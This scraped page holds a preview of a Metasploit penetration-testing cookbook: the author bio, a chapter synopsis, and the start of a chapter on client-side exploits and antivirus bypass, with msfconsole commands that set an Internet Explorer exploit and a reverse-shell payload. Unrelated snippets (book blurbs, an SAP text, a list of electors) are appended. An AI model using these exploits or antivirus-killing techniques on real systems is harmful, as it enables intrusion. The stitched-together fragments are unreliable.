Metasploit Penetration Testing Cookbook - Nothink
Metasploit PenetrationTesting CookbookAbhinav SinghChapter No. 4"Client-side Exploitation andAntivirus Bypass"
In this package, you will find:A Biography of the author of the bookA preview chapter from the book, Chapter NO.4 "Client-side Exploitation andAntivirus Bypass"A synopsis of the book’s contentInformation on where to buy this bookAbout the AuthorAbhinav Singh is a young Information Security Specialist from India. He has a keeninterest in the field of Hacking and Network Security. He actively works as a freelancerwith several security companies, and provides them with consultancy. Currently, he isemployed as a Systems Engineer at Tata Consultancy Services, India. He is an activecontributor of the SecurityXploded community. He is well recognized for his blog), where he shares about his encounters(with hacking and network security. Abhinav's work has been quoted in severaltechnology magazines and portals.I would like to thank my parents for always being supportive and lettingme do what I want; my sister, for being my doctor and taking care of myfatigue level; Sachin Raste sir, for taking the pain to review my work;Kanishka Khaitan, for being my perfect role model; to my blog followersfor their comments and suggestions, and, last but not the least, to PacktPublishing for making this a memorable project for me.For More n-testing-cookbook/book
Metasploit PenetrationTesting CookbookPenetration testing is one of the core aspects of network security in today's scenario. Itinvolves a complete analysis of the system by implementing real-life security tests. Ithelps in identifying potential weaknesses in the system's major components which canoccur either in its hardware or software. The reason which makes penetration testing animportant aspect of security is that it helps in identifying threats and weaknesses from ahacker's perspective. Loopholes can be exploited in real time to figure out the impact ofvulnerability and then a suitable remedy or patch can be explored in order to protect thesystem from any outside attack and reduce the risk factors.The biggest factor that determines the feasibility of penetration testing is the knowledgeabout the target system. Black box penetration testing is implemented when there is noprior knowledge of the target user. A pen-tester will have to start from scratch bycollecting every bit of information about the target system in order to implement anattack. In white box testing, the complete knowledge about the target is known and thetester will have to identify any known or unknown weakness that may exist. Either of thetwo methods of penetration testing are equally difficult and are environment specific.Industry professionals have identified some of the key steps that are essential in almostall forms of penetration testing. These are: Target discovery and enumeration: Identifying the target and collecting basicinformation about it without making any physical connection with it Vulnerability identification: Implementing various discovery methods such asscanning, remote login, and network services, to figure out different services andsoftware running on the target system Exploitation: Exploiting a known or an unknown vulnerability in any of thesoftware or services running on the target system Level of control after exploitation: This is the level of access that an attackercan get on the target system after a successful exploitation Reporting: Preparing an advisory about the vulnerability and its possiblecounter measuresFor More n-testing-cookbook/book
These steps may appear few in number, but in fact a complete penetration testing of ahigh-end system with lots of services running on it can take days or even months tocomplete. The reason which makes penetration testing a lengthy task is that it is basedon the "trial and error" technique. Exploits and vulnerabilities depend a lot on the systemconfiguration so we can never be certain that a particular exploit will be successful or notunless we try it. Consider the example of exploiting a Windows-based system that isrunning 10 different services. A pen-tester will have to identify if there are any knownvulnerabilities for those 10 different services. Once they are identified, the process ofexploitation starts. This is a small example where we are considering only one system.What if we have an entire network of such systems to penetrate one by one?This is where a penetration testing framework comes into action. They automate severalprocesses of testing like scanning the network, identifying vulnerabilities based onavailable services and their versions, auto-exploit, and so on. They speed up thepen-testing process by proving a complete control panel to the tester from wherehe/she can manage all the activities and monitor the target systems effectively.The other important benefit of the penetration testing framework is report generation.They automate the process of saving the penetration testing results and generate reportsthat can be saved for later use, or can be shared with other peers working remotely.Metasploit Penetration Testing Cookbook aims at helping the readers in mastering one ofthe most widely used penetration testing frameworks of today's scenarios. The Metasploitframework is an open source platform that helps in creating real-life exploitationscenarios along with other core functionalities of penetration testing. This book willtake you to an exciting journey of exploring the world of Metasploit and how it canbe used to perform effective pen-tests. This book will also cover some other extensiontools that run over the framework and enhance its functionalities to provide a betterpen-testing experience.What This Book CoversChapter 1, Metasploit Quick Tips for Security Professionals, is the first step into theworld of Metasploit and penetration testing. The chapter deals with a basic introductionto the framework, its architecture and libraries. In order to begin with penetration testing,we need a setup, so the chapter will guide you through setting up your own dummypenetration testing environment using virtual machines. Later, the chapter discusses aboutinstalling the framework on different operating systems. The chapter ends with giving thefirst taste of Metasploit and an introduction about its interfaces.For More n-testing-cookbook/book
Chapter 2, Information Gathering and Scanning, is the first step to penetration testing.It starts with the most traditional way of information gathering and later on advances toscanning with Nmap. The chapter also covers some additional tools such as Nessus andNeXpose which covers the limitations of Nmap by providing additional information.At the end, the chapter discusses about the Dradis framework which is widely usedby pen-testers to share their test results and reports with other remote testers.Chapter 3, Operating System-based Vulnerability Assessment and Exploitation, talksabout finding vulnerabilities in unpatched operating systems running on the targetsystem. Operating system-based vulnerabilities have a good success rate and they can beexploited easily. The chapter discusses about penetrating several popular operatingsystems such as Windows XP, Windows 7, and Ubuntu. The chapter covers some of thepopular, and known, exploits of these operating systems and how they can be used inMetasploit to break into a target machine.Chapter 4, Client-side Exploitation and Antivirus Bypass, carries our discussion to thenext step where we will discuss how Metasploit can be used to perform client-sideexploitation. The chapter covers some of the popular client-side software such asMicrosoft Office, Adobe Reader, and Internet Explorer. Later on, the chapter covers anextensive discussion about killing the client-side antivirus protection in order to preventraising the alarm in the target system.Chapter 5, Using Meterpreter to Explore the Compromised Target, discusses about thenext step after exploitation. Meterpreter is a post-exploitation tool that has severalfunctionalities, which can be helpful in penetrating the compromised target and gainingmore information. The chapter covers some of the useful penetration testing techniquessuch as privilege escalation, accessing the file system, and keystroke sniffing.Chapter 6, Advance Meterpreter Scripting, takes our Metasploit knowledge to the nextlevel by covering some advance topics, such as building our own meterpreter script andworking with API mixins. This chapter will provide flexibility to the readers as they canimplement their own scripts into the framework according to the scenario. The chapteralso covers some advance post exploitation concepts like pivoting, pass the hash andpersistent connection.Chapter 7, Working with Modules for Penetration Testing, shifts our focus to anotherimportant aspect of Metasploit; its modules. Metasploit has a decent collection of specificmodules that can be used under particular scenarios. The chapter covers some importantauxiliary modules and later on advances to building our own Metasploit modules. Thechapter requires some basic knowledge of Ruby scripting.For More n-testing-cookbook/book
Chapter 8, Working with Exploits, adds the final weapon into the arsenal by discussinghow we can convert any exploit into a Metasploit module. This is an advanced chapterthat will enable the readers to build their own Metasploit exploit modules and import itinto the framework. As all the exploits are not covered under the framework, this chaptercan be handy in case we want to test an exploit that is not there in the Metasploitrepository. The chapter also discusses about fuzzing modules that can be useful inbuilding your own proof of concepts for any vulnerability. Finally, the chapter ends witha complete example on how we can fuzz an application to find the overflow conditionsand then build a Metasploit module for it.Chapter 9, Working with Armitage, is a brief discussion about one of the popularMetasploit extensions, Armitage. It provides a graphical interface to the framework andenhances its functionalities by providing point and click exploitation options. The chapterfocuses on important aspects of Armitage, such as quickly finding vulnerabilities,handling multiple targets, shifting among tabs, and dealing with post exploitation.Chapter 10, Social Engineer Toolkit, is the final discussion of this book which covers yetanother important extension of framework. Social Engineer Toolkit (SET) is used togenerate test cases that rely on human negligence in order to compromise the target. Thechapter covers basic attack vectors related to SET that includes spear phishing, websiteattack vector, generating infectious media such as a USB.For More n-testing-cookbook/book
4Client-sideExploitation andAntivirus BypassIn this chapter, we will cover: Internet Explorer unsafe scripting misconfiguration vulnerability Internet Explorer recursive call memory corruption Microsoft Word RTF stack buffer overflow Adobe Reader util.printf() buffer overflow Generating binary and shellcode from msfpayload Bypassing client-side antivirus protection using msfencode Using killav.rb script to disable antivirus programs A deeper look into the killav.rb script Killing antivirus services from the command lineIntroductionIn the previous chapter, we focused on penetration testing the target operating system.Operating systems are the first level of penetrating the target because an unpatched andoutdated operating system can be easy to exploit and it will reduce our effort of looking forother methods of penetrating the target. But the situation can vary. There can be casesin which a firewall may block our scan packets and, thus, prevent us from gaining anyinformation about the target operating system or open ports.For More n-testing-cookbook/book
Client-side Exploitation and Antivirus BypassThere can also be a possibility that the target has automatic updates which patches thevulnerabilities of the operating system at regular intervals. This can again kill all the attacksof penetrating the target. Such security measures can prevent us from gaining access to thetarget machine by exploiting known vulnerabilities of the operating system in use. So we willhave to move a step ahead. This is where client-side exploitation and antivirus bypassingtechniques comes into play. Let us first understand a typical client-side attack vector.Suppose the penetration tester has figured out that the target machine has an updatedWindows XP SP3 operating system and Internet Explorer version 7 set up as the defaultbrowser to access the Internet and other web-related services. So, the pen-tester will nowcraft a malicious URL that will contain an executable script which can exploit a knownvulnerability of IE 7. Now he builds a harmless looking HTML page and creates a hyperlinkwhich contains the same malicious URL. In the next step, he transfers the HTML page tothe target user through social engineering and somehow entices him to click the malicioushyperlink. Since the link contained a known exploit of IE 7 browser, it can compromise thebrowser and allow further code execution, thus giving the penetration tester power to controlthe target system. He can move ahead to set up a backdoor, drop a virus, and so on.What exactly happens now? Although the target machine was running a patched and updatedversion of Windows the default browser IE 7 was not updated or rather neglected by the targetuser. This allowed the penetration tester to craft a scenario and break into the system throughthe browser vulnerability.The scenario discussed previously is a simple client-side attack in which the target unknowinglyexecutes a script which exploits vulnerability in the application software used by the target user.On successful execution of the exploit, the attacker compromises the system security.Metasploit provides us with a large variety of exploit modules for several popular softwarewhich can be used to perform a client-side attack. Some of the popular tools which we willdiscuss in this chapter include Internet Explorer, Microsoft Office pack, Adobe reader, Flash,and so on. Metasploit repository contains several modules for these popular tools. Let usquickly analyze the client-side exploitation process in Metasploit. Our aim is to successfullyattack the target through a client-side execution and set up shell connectivity.Metasploit breaks this penetration process into two simple steps:1. It generates the respective malicious link/file for the application tool you choose totarget. After that, it starts listening on a particular port for a back connection with thetarget. Then the attacker sends the malicious link/file to the target user.2. Now once the target executes the malicious link/file, the application gets exploitedand Metasploit immediately transfers the payload to some other Windows process sothat if the target application crashes (due to exploit) or a user closes the application,the connectivity still remains.78For More n-testing-cookbook/book
Chapter 4The two preceding steps will be clear to you when we will discuss the recipes based onclient-side attacks. This chapter will focus on some key application software based on theWindows operating system. We will start with analyzing browser-based client side exploits.We will look into various existing flaws in Internet Explorer (version 6, 7, and 8) and howto target it to penetrate the user machine. Then, we will shift to another popular softwarepackage named Microsoft Office (version 2003 and 2007) and analyze its formattingvulnerability. Then, we will move ahead with analyzing PDF vulnerabilities and how amalicious PDF can be used to compromise the user security. Last, but not the least,we will discuss a very important aspect of penetration testing called antivirus bypass.It will focus on overriding the client-side antivirus protection to exploit the target machinewithout raising alarms.This chapter will leverage the complete power of the Metasploit framework so that youwill love reading and implementing it. Let us move ahead with our recipes for this chapter.Internet Explorer unsafe scriptingmisconfiguration vulnerabilityLet us start with the first browser-based client side exploit. The elementary process of usingany client-side exploit module is similar to the ones we discussed in previous chapters. Theonly difference lies in transferring the exploit to the target. Unlike operating system-basedexploits, client-side exploits require manual execution of the exploit and payload at the targetmachine. You will understand it clearly, once we proceed with the recipe. So let us quickly diveinto implementing the attack.Getting readyWe will start with launching our msfconsole and selecting the relevant exploit. The processis similar to what we have been discussing so far in previous chapters. Then, we will moveahead to select a payload which will help us set a shell connectivity with the target machine.The exploit we will be dealing with in this recipe is exploit/windows/browser/i.e.unsafe scripting.This exploit is known to affect Internet Explorer version 6 and 7 which aredefault browsers in all versions of Windows XP and 2003 servers. But itran successfully even on my Windows 7 ultimate with internet Explorer 8(unpatched).79For More n-testing-cookbook/book
Client-side Exploitation and Antivirus BypassThis exploit works when the Initialize and script ActiveX controls not marked as safe settingis marked within Internet Explorer. The following setting can be found by launching InternetExplorer and browsing to Tools Internet Options Security Custom Level Initialize andscript ActiveX controls not marked as safe Enable.Similar settings can be made in other versions of Internet Explorer as well. In this recipe,we will exploit two different targets. One is running Windows XP SP2 with IE 7 and the otheris running Windows 7 with IE 8. Let us now move ahead to execute the exploit.How to do it.Let us start with launching the msfconsole and set our respective exploit as active.We will be using the reverse tcp payload to get shell connectivity with the twotargets once they are exploited:msf use exploit/windows/browser/ie unsafe scriptingmsf exploit(ie unsafe scripting) set payload windows/meterpreter/reverse tcppayload windows/meterpreter/reverse tcp80For More n-testing-cookbook/book
Chapter 4msfexploit(ie unsafe scripting) show optionsModule options (exploit/windows/browser/ie unsafe scripting):NameCurrent --------------SRVHOST0.0.0.0yesThe local host to.SRVPORT8080yesThe local port to.SSLfalsenoNegotiate SSL.noPath to a custom SSL.noSpecify the version.noThe URI to use for.SSLCertSSLVersionSSL3URIPATHPayload options (windows/meterpreter/reverse tcp):NameCurrent --------------EXITFUNCprocessyesExit technique: seh.yesThe listen addressyesThe listen portLHOSTLPORT4444Exploit target:Name------0AutomaticmsfIdexploit(ie unsafe scripting) set LHOST 192.168.56.101LHOST 192.168.56.10181For More n-testing-cookbook/book
Client-side Exploitation and Antivirus BypassNow our exploit, as well as the payload has been set active. As you can see, we have not usedthe RHOST option here because it is a client-based attack. Let's see what happens when weexecute the exploit command:msfexploit(ie unsafe scripting) ex
Metasploit Penetration Testing Cookbook. aims at helping the readers in mastering one of the most widely used penetration testing frameworks of today's scenarios. The Metasploit framework is an open source platform that helps in creating real-life exploitation scenarios along with other core functionalities of
Assessment, Penetration Testing, Vulnerability Assessment, and Which Option is Ideal to Practice? Types of Penetration Testing: Types of Pen Testing, Black Box Penetration Testing. White Box Penetration Testing, Grey Box Penetration Testing, Areas of Penetration Testing. Penetration Testing Tools, Limitations of Penetration Testing, Conclusion.
Tester's Guide will take you there and beyond. "The best guide to the Metasploit Framework." — HD Moore, Founder of the Metasploit Project 49.95 ( 57.95 CDN) Shelve In: CoMPuTerS/INTerNeT/SeCurITy THE FINEST IN GEEK ENTERTAINMENT www.nostarch.com David Kennedy, Jim O'Gorman, Devon Kearns, and Mati Aharoni Foreword by HD Moore Kennedy
Penetration Testing. 5. Manfaat penelitian Memberi jera kepada pelaku yang . Metasploit The penetration tester’s guide. b. The Basics of Hacking and . c. Detecting ARP Spoofing: An . Metasploit Menetration Testing Cookbook
SAP has developed a new radio frequency (RF) concept. This RF cookbook helps developers to begin working in the RF framework. It answers frequently asked questions and helps to avoid common errors. This RF cookbook also provides some useful tips about the standard layout and screen structure that should be applied in the standard transactions.File Size: 299KBPage Count: 59Explore further[PDF] SAP EWM RF Cookbook - Free Download PDFdlscrib.comEWM RF Cookbook SAP blog of John Kristensenjksap.wordpress.comRF Cookbook - Part I Description - SAP Communityarchive.sap.comRF Cookbook - Part I Descriptiondocshare01.docshare.tipsSAP EWM RF Framework - SlideSharewww.slideshare.netRecommended to you based on what's popular Feedback
tools: NMAP, OpenVAS, and Metasploit. Just by using these three tools alone, you will acquire extensive penetration testing capabilities. By the end of this book, you'll have a substantial understanding of NMAP, OpenVAS, and Metasploit and will be able to apply your skills in real-world pen testing scenarios.
test its vulnerabilities using Metasploit. Quick tool introduction: Metasploit framework is an open source penetration tool used for developing and executing exploit code against a remote target machine. The framework has the world’s largest database of public and
10/2/21 15 Metasploit is a penetration testing framework that integrates other tools we have seen with exploitation tools MIS 5212.001 43 43 Developers of Metasploit used the Penetration Testing Execution Standard (PTES) as their guide in developing the tool
10. Efrain Balli Jr. 23. Madelynn Cortez 36. Alfredo Avila Lopez . 11 . Eligio Meudiola 24. George Garcia 37. Jesus Ruben Briseno . 12. Natalia Quintero Moreno 25. Diego Gonzalez Corpus 38. Juan E. Vela . NUMBER OF VOTES RECEIVED -49 . ELECTORS FOR TOM HOEFLING . 1. Tim Sedgwick 2. Dixie Sedgwick 3. Jared McCurrin 4. Jessica Kimberly Fagin 5. Andrew C. Sanders 6. Megan Sanders 7. Lynn Sanders .
